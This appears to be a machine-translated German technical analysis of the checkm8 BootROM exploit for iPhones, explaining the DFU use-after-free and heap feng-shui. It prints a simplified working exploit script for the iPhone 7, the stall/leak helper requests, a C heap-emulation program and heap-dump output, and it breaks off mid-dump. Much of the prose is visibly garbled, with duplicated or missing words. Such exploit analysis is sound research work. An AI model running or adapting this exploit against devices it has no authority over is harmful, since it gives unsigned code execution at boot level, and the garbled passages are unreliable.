Technische Analyse des checkm8-Exploits


Höchstwahrscheinlich haben Sie bereits von dem berühmten Exploit checkm8 gehört , der eine nicht behebbare Sicherheitsanfälligkeit im BootROM der meisten iDevices, einschließlich iPhone X In diesem Artikel werden wir eine technische Analyse dieses Exploits bereitstellen und herausfinden, was die Sicherheitsanfälligkeit verursacht.


Die russische Version können Sie hier lesen.


Einführung


Lassen Sie uns zunächst kurz den BootROM eines iDevice und die Rolle beschreiben, die BootROM (auch bekannt als SecureROM ) darin spielt. Detaillierte Informationen dazu finden Sie hier . So sieht das Booten aus:



Wenn das Gerät eingeschaltet ist, wird zuerst BootROM ausgeführt. Seine Hauptaufgaben sind:


  • Plattforminitialisierung (erforderliche Plattformregister sind installiert, CPU wird initialisiert usw.)
  • Überprüfung und Übertragung der Kontrolle auf die nächste Stufe
    • BootROM unterstützt das Parsen von IMG3/IMG4 Images
    • BootROM hat Zugriff auf den GID Schlüssel zum Entschlüsseln von Bildern
    • BootROM verfügt BootROM über einen integrierten öffentlichen Apple Schlüssel und die erforderlichen kryptografischen Funktionen
  • Stellen Sie das Gerät wieder her, wenn kein weiteres Booten möglich ist ( Device Firmware Update , DFU ).

BootROM ist sehr klein und kann als Light-Version von iBoot , da sie den größten Teil des System- und Bibliothekscodes gemeinsam nutzen. Im Gegensatz zu iBoot kann BootROM jedoch nicht aktualisiert werden. Es wird bei der Herstellung eines Geräts in den internen Nur-Lese-Speicher gestellt. BootROM ist die Hardware-Vertrauensbasis der sicheren BootROM . BootROM Schwachstellen kann ein Angreifer den BootROM steuern und nicht signierten Code auf einem Gerät ausführen.



Die Geschichte von checkm8


Der checkm8 Exploit wurde am 27. September 2019 von seinem Autor axi0mX zu ipwndfu hinzugefügt. Gleichzeitig kündigte er das Update auf Twitter an und lieferte eine Beschreibung und zusätzliche Informationen zum Exploit. Laut dem Thread fand er die Sicherheitslücke im USB Code, während iBoot für iOS 12 beta im Sommer 2018 iBoot .
BootROM und iBoot teilen den größten Teil ihres Codes, einschließlich USB , sodass diese Sicherheitsanfälligkeit auch für BootROM relevant BootROM .


Wie aus dem Code des Exploits hervorgeht, wird die Sicherheitsanfälligkeit in DFU ausgenutzt. Dies ist ein Modus, in dem ein signiertes Image über USB auf ein Gerät übertragen werden USB , das später gestartet wird. Dies kann beispielsweise nützlich sein, um ein Gerät nach einem erfolglosen Update wiederherzustellen.


Am selben Tag teilte der Benutzer littlelailo mit , dass er diese Sicherheitsanfälligkeit bereits im März gefunden und eine Beschreibung in apollo.txt veröffentlicht habe . Die Beschreibung entsprach checkm8 , obwohl nicht alle Details des Exploits beim Lesen klar werden. Aus diesem Grund haben wir uns entschlossen, diesen Artikel zu schreiben und alle Details der Ausnutzung bis zur Ausführung der Nutzdaten in BootROM .


Wir haben unsere Analyse des Exploits auf die oben genannten Ressourcen und den Quellcode von iBoot/SecureROM , der im Februar 2018 durchgesickert ist. Wir haben auch die Daten verwendet, die wir aus den Experimenten mit unserem Testgerät iPhone 7 ( CPID:8010 ) Mit checkm8 haben wir die Dumps von SecureROM und SecureRAM , die auch für die Analyse hilfreich waren.


Notwendige Infos zu USB


Da sich die Sicherheitsanfälligkeit im USB Code befindet, muss bekannt sein, wie diese Schnittstelle funktioniert. Die vollständigen Spezifikationen finden Sie unter https://www.usb.org/ , aber es ist eine lange Lektüre. Für unsere Zwecke ist USB in a NutShell mehr als genug. Hier werden nur die relevantesten Punkte erwähnt.


Es gibt verschiedene Arten der USB Datenübertragung. In DFU wird nur der Control Transfers Modus verwendet (lesen Sie hier mehr darüber). In diesem Modus besteht jede Transaktion aus drei Phasen:



  • Setup Stage - Ein SETUP Paket wird gesendet. Es hat die folgenden Felder:
    • bmRequestType - bmRequestType die Richtung der Anforderung, ihren Typ und den Empfänger
    • bRequest - bRequest die Anforderung, die gestellt werden soll
    • wValue , wIndex - werden je nach Anforderung interpretiert
    • wLength - wLength die Länge der gesendeten / empfangenen Daten in Data Stage
  • Data Stage - eine optionale Phase der Datenübertragung. Abhängig vom SETUP Paket, das während der Setup Stage gesendet wurde, können die Daten vom Host zum Gerät ( OUT ) oder umgekehrt ( IN ) gesendet werden. Die Daten werden in kleinen Portionen gesendet (im Fall von Apple DFU sind es 0x40 Bytes).
    • Wenn ein Host einen anderen Teil der Daten senden möchte, sendet er ein OUT Token und dann die Daten selbst.
    • Wenn ein Host bereit ist, Daten von einem Gerät zu empfangen, sendet er ein IN Token an das Gerät.
  • Status Stage - die letzte Phase; Der Status der gesamten Transaktion wird gemeldet.
    • Bei OUT Anforderungen sendet der Host ein IN Token, auf das das Gerät mit einem Paket mit der Länge Null antworten muss.
    • Bei IN Anforderungen sendet der Host ein OUT Token und ein Paket mit der Länge Null.

Das folgende Schema zeigt OUT und IN Anforderungen. Wir haben NACK , NACK und andere Handshake-Pakete herausgenommen, da diese für den Exploit selbst nicht wichtig sind.



Analyse von apollo.txt


Wir haben die Analyse mit der Sicherheitslücke von apollo.txt begonnen . Das Dokument beschreibt den Algorithmus des DFU Modus:


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Wenn USB gestartet wird, um ein Bild über dfu zu erhalten, registriert dfu eine Schnittstelle, um alle Befehle zu verarbeiten, und weist einen Puffer für die Eingabe und Ausgabe zu
  2. Wenn Sie Daten an dfu senden, wird das Setup-Paket vom Hauptcode verarbeitet, der dann den Schnittstellencode aufruft
  3. Der Schnittstellencode überprüft, ob wLength kürzer als die Länge des Eingabeausgabepuffers ist. In diesem Fall wird ein als Argument übergebener Zeiger mit einem Zeiger auf den Eingabeausgabepuffer aktualisiert
  4. es gibt dann wLength zurück, die die Länge ist, die es in den Puffer empfangen möchte
  5. Der USB-Hauptcode aktualisiert dann eine globale Variable mit der Länge und macht sich bereit, die Datenpakete zu empfangen
  6. Wenn ein Datenpaket empfangen wird, wird es über den Zeiger, der als Argument übergeben wurde, in den Eingabeausgabepuffer geschrieben, und eine andere globale Variable wird verwendet, um zu verfolgen, wie viele Bytes bereits empfangen wurden
  7. Wenn alle Daten empfangen wurden, wird der dfu-spezifische Code erneut aufgerufen. Anschließend wird der Inhalt des Eingabe-Ausgabepuffers an den Speicherort kopiert, von dem aus das Bild später gestartet wird
  8. Danach setzt der USB-Code alle Variablen zurück und bearbeitet neue Pakete
  9. Wenn dfu beendet wird, wird der Eingabe- / Ausgabepuffer freigegeben, und wenn das Parsen des Bildes fehlschlägt, wird das Bootrom erneut aktiviert

Zuerst haben wir diese Schritte mit dem Quellcode von iBoot . Wir können die Fragmente des durchgesickerten Codes hier nicht verwenden, daher verwenden wir den Pseudocode, den wir durch das Reverse Engineering des SecureROM unseres iPhone7 in IDA . Sie können den Quellcode von iBoot leicht finden und darin navigieren.


Bei der Initialisierung der DFU wird ein IO Puffer zugewiesen und eine USB Schnittstelle zur Verarbeitung der Anforderungen an die DFU registriert:



Wenn das SETUP Paket einer Anforderung an DFU eingeht, wird ein geeigneter Schnittstellenhandler aufgerufen. Bei OUT Anforderungen (z. B. wenn ein Bild gesendet wird) muss der Handler bei erfolgreicher Ausführung die Adresse des IO Puffers für die Transaktion sowie die erwartete Datenlänge zurückgeben. Beide Werte werden in globalen Variablen gespeichert.



Der folgende Screenshot zeigt den DFU Schnittstellenhandler. Wenn eine Anforderung korrekt ist, werden die Adresse des während der DFU Initialisierung zugewiesenen IO Puffers und die erwartete SETUP aus dem SETUP Paket zurückgegeben.



Während der Data Stage wird jeder Teil der Daten in den IO Puffer geschrieben, und dann wird die IO Pufferadresse versetzt und der empfangene Zähler aktualisiert. Wenn alle erwarteten Daten empfangen wurden, wird der Schnittstellendatenhandler aufgerufen und der globale Status der Transaktion gelöscht.



Im DFU Datenhandler werden die empfangenen Daten in den Speicherbereich verschoben, aus dem sie später geladen werden. Basierend auf dem Quellcode von iBoot heißt dieser Bereich auf Apple Geräten INSECURE_MEMORY .



Wenn das Gerät den DFU Modus verlässt, wird der zuvor zugewiesene IO Puffer freigegeben. Wenn das Bild im DFU Modus erfolgreich aufgenommen wurde, wird es überprüft und gestartet. Wenn ein Fehler aufgetreten ist oder das Image nicht DFU werden konnte, wird die DFU erneut initialisiert und der gesamte Vorgang von Anfang an wiederholt.


Der beschriebene Algorithmus weist eine Sicherheitsanfälligkeit auf. Wenn wir zum Zeitpunkt des Hochladens des Bildes ein SETUP Paket senden und die Datenphase zum Überspringen von Transaktionen abschließen, bleibt der globale Status während des nächsten DFU Zyklus initialisiert, und wir können an die Adresse des IO Puffers schreiben, der während des vorherigen zugewiesen wurde Iteration der DFU .


use-after-free wir nun wissen, wie use-after-free funktioniert, stellt sich die Frage, wie wir bei der nächsten Iteration der DFU etwas überschreiben können. Vor einer erneuten Initialisierung der DFU werden alle zuvor zugewiesenen Ressourcen freigegeben, und die Speicherzuweisung in einer neuen Iteration muss genau gleich sein. Wie sich herausstellte, gibt es einen weiteren interessanten Speicherverlustfehler, der es ermöglicht, die use-after-free auszunutzen.


Analyse von checkm8


checkm8 wir zu checkm8 . Zur Demonstration verwenden wir eine vereinfachte Version des Exploits für das iPhone 7 , in der wir den gesamten Code für andere Plattformen herausgenommen und die Reihenfolge und Art der USB Anforderungen geändert haben, ohne die Funktionalität zu beeinträchtigen. Wir haben auch den Prozess des checkm8.py einer Nutzlast checkm8.py , der in der Originaldatei checkm8.py . Es ist leicht, die Unterschiede zwischen den Versionen für andere Geräte zu erkennen.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

Der Betrieb von checkm8 besteht aus mehreren Schritten:


  1. Haufen Feng-Shui
  2. Zuweisung und Freigabe des IO Puffers ohne Löschen des globalen Status
  3. Überschreiben von usb_device_io_request im Heap mit use-after-free
  4. Nutzlast platzieren
  5. Ausführung der callback-chain
  6. Ausführung von shellcode

Schauen wir uns alle Phasen im Detail an.


1. Haufen Feng-Shui


Wir denken, dass es die interessanteste Phase ist, also werden wir mehr Zeit damit verbringen, sie zu beschreiben.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Diese Phase ist erforderlich, um den Heap so anzuordnen, dass die Nutzung nach der use-after-free vorteilhaft ist. Betrachten wir zunächst die Anrufe stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer ist ein Wrapper für device.ctrlTransfer , der alle Ausnahmen ignoriert, die während der Ausführung einer Anforderung auftreten. libusb1_async_ctrl_transfer ist ein Wrapper für die Funktion libusb_submit_transfer von libusb für die asynchrone Ausführung einer Anforderung.


Die folgenden Parameter werden an diese Aufrufe übergeben:


  • Gerätenummer
  • Daten für das SETUP Paket (hier finden Sie die Beschreibung ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • wLength ( wLength ) oder Daten für die wLength
  • Timeout anfordern

Die Argumente bmRequestType , bRequest , wValue und wIndex werden von allen drei Anforderungstypen gemeinsam genutzt:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - Richtung der 0b1XXXXXXX (Gerät zum Host)
    • 0bX00XXXXX - Standardanforderungstyp
    • 0bXXX00000 - Gerät ist der Empfänger der Anforderung
  • bRequest = 6 - Anforderung zum GET_DESCRIPTOR eines Deskriptors ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - definiert den Typ der Deskriptorzeichenfolge ( USB_DT_STRING )
    • wValueLow = 0x4 - Der Index des Zeichenfolgendeskriptors 4 entspricht der Seriennummer des Geräts (in diesem Fall lautet die Zeichenfolge CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - Der wIndex = 0x40A der Sprache der Zeichenfolge, dessen Wert für die Ausnutzung nicht relevant ist und geändert werden kann.

Für jede dieser Anforderungen werden 0x30 Bytes im Heap für ein Objekt mit der folgenden Struktur zugewiesen:



Die interessantesten Felder dieses Objekts sind callback und next .


  • callback ist der Zeiger auf die Funktion, die aufgerufen wird, wenn die Anforderung abgeschlossen ist.
  • next ist der Zeiger auf das nächste Objekt des gleichen Typs. Es ist erforderlich, um die Anforderungswarteschlange zu organisieren.

Das Hauptmerkmal von stall ist die Verwendung der asynchronen Ausführung einer Anforderung mit einem minimalen Zeitlimit. Wenn wir Glück haben, wird die Anforderung auf Betriebssystemebene abgebrochen und verbleibt in der Ausführungswarteschlange, und die Transaktion wird nicht abgeschlossen. Außerdem empfängt das Gerät weiterhin alle anstehenden SETUP Pakete und stellt sie bei Bedarf in die Ausführungswarteschlange. Später, als wir mit dem USB Controller auf Arduino experimentierten, stellten wir fest, dass der Host für eine erfolgreiche Ausnutzung ein SETUP Paket und ein IN Token senden muss. SETUP die Transaktion aufgrund eines Timeouts abgebrochen werden. Diese unvollständige Transaktion sieht folgendermaßen aus:



Außerdem unterscheiden sich die Anforderungen in der Länge nur um eine Einheit. Für Standardanforderungen gibt es einen Standardrückruf, der folgendermaßen aussieht:



Der Wert von io_length entspricht dem Minimum von wLength im SETUP Paket der Anforderung und der ursprünglichen Länge des angeforderten Deskriptors. Da der Deskriptor ziemlich lang ist, können wir den Wert von io_length innerhalb seiner Länge steuern. Der Wert von g_setup_request.wLength entspricht dem Wert von wLength aus dem letzten SETUP Paket. In diesem Fall ist es 0xC1 .


Somit sind die Anforderungen, die durch das usb_core_send_zlp() und usb_core_send_zlp() der Anrufe gebildet werden, abgeschlossen, die Bedingung in der Terminalrückruffunktion ist erfüllt und usb_core_send_zlp() wird aufgerufen. Dieser Aufruf erstellt ein Nullpaket ( zero-length-packet ) und fügt es der Ausführungswarteschlange hinzu. Dies ist für den korrekten Abschluss der Transaktion in der Status Stage erforderlich.


Die Anforderung wird durch Aufrufen der Funktion usb_core_complete_endpoint_io . Zuerst ruft es den callback und gibt dann den Speicher der Anforderung frei. Die Anforderung ist nicht nur abgeschlossen, wenn die gesamte Transaktion abgeschlossen ist, sondern auch, wenn USB zurückgesetzt wird. Wenn das Signal zum Zurücksetzen von USB empfangen wird, sind alle Anforderungen in der Ausführungswarteschlange abgeschlossen.


Durch selektives Aufrufen von usb_core_send_zlp() beim Durchlaufen der Ausführungswarteschlange und anschließendes Freigeben der Anforderungen können wir eine ausreichende Kontrolle über den Heap für die Ausnutzung von use-after-free erlangen. Schauen wir uns zunächst die Anforderungsbereinigungsschleife an:



Wie Sie sehen können, wird die Warteschlange geleert, und dann werden die abgebrochenen Anforderungen von usb_core_complete_endpoint_io ausgeführt und abgeschlossen. Die von usb_core_send_zlp zugewiesenen usb_core_send_zlp werden in ep->io_head . Nach dem Zurücksetzen des USB io_head alle Informationen zum Endpunkt io_head , einschließlich der Zeiger io_head und io_tail , und die io_tail mit der Länge Null verbleiben im Heap. Auf diese Weise können wir einen kleinen Block inmitten des Haufens erstellen. Das folgende Schema zeigt, wie es gemacht wird:



Im Heap von SecureROM wird aus dem kleinsten richtigen freien SecureROM ein neuer Speicherbereich zugewiesen. Durch Erstellen eines kleinen freien Blocks mit der oben beschriebenen Methode können wir die Speicherzuweisung während der USB Initialisierung steuern, einschließlich der Zuweisung des io_buffer und der Anforderungen.


Um dies besser zu verstehen, sehen wir uns an, welche Anforderungen an den Heap gestellt werden, wenn DFU initialisiert wird. Während der Analyse des iBoot Quellcodes und des Reverse Engineering von SecureROM haben wir die folgende Sequenz erhalten:


    1. Zuordnung verschiedener String-Deskriptoren
      • 1.1. Nonce (Größe 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Zuordnungen im Zusammenhang mit der Erstellung der USB Controller-Aufgabe
      • 2.1. Aufgabenstruktur ( 0x3c0 )
      • 2.2. Aufgabenstapel ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Konfigurationsdeskriptoren
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Dann werden Anforderungsstrukturen zugewiesen. Wenn sich ein kleiner Teil im Heap befindet, werden einige Zuordnungen der ersten Kategorie dorthin verschoben, und alle anderen Zuordnungen werden verschoben. Auf diese Weise können wir usb_device_io_request unter Bezugnahme auf den alten Puffer überlaufen usb_device_io_request . Es sieht so aus:



Um den erforderlichen Offset zu berechnen, haben wir einfach alle oben aufgeführten Zuordnungen emuliert und den Quellcode des iBoot Heaps ein wenig angepasst.


Emulieren von Anforderungen an den Heap in DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Die Ausgabe des Programms mit 8 Anforderungen in der heap feng-shui Phase:


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

Wie Sie sehen können, wird eine weitere usb_device_io_request mit dem Offset von 0x5c0 vom Anfang des vorherigen Puffers 0x5c0 , der dem Code des Exploits entspricht:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

Sie können die Gültigkeit dieser Schlussfolgerungen überprüfen, indem Sie den aktuellen Status des SecureRAM Heaps analysieren, den wir mit checkm8 . Zu diesem Zweck haben wir ein einfaches Skript geschrieben, das den Speicherauszug des Heaps analysiert und die Chunks auflistet. usb_device_io_request Sie, dass während des Überlaufs von usb_device_io_request Teil der Metadaten beschädigt wurde, sodass wir ihn während der Analyse überspringen.


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

Die Ausgabe des Skripts mit Kommentaren finden Sie unter dem Spoiler. Sie können sehen, dass die Bytes niedriger Ordnung mit den Ergebnissen der Emulation übereinstimmen.


Das Ergebnis des Parsens des Heaps in SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 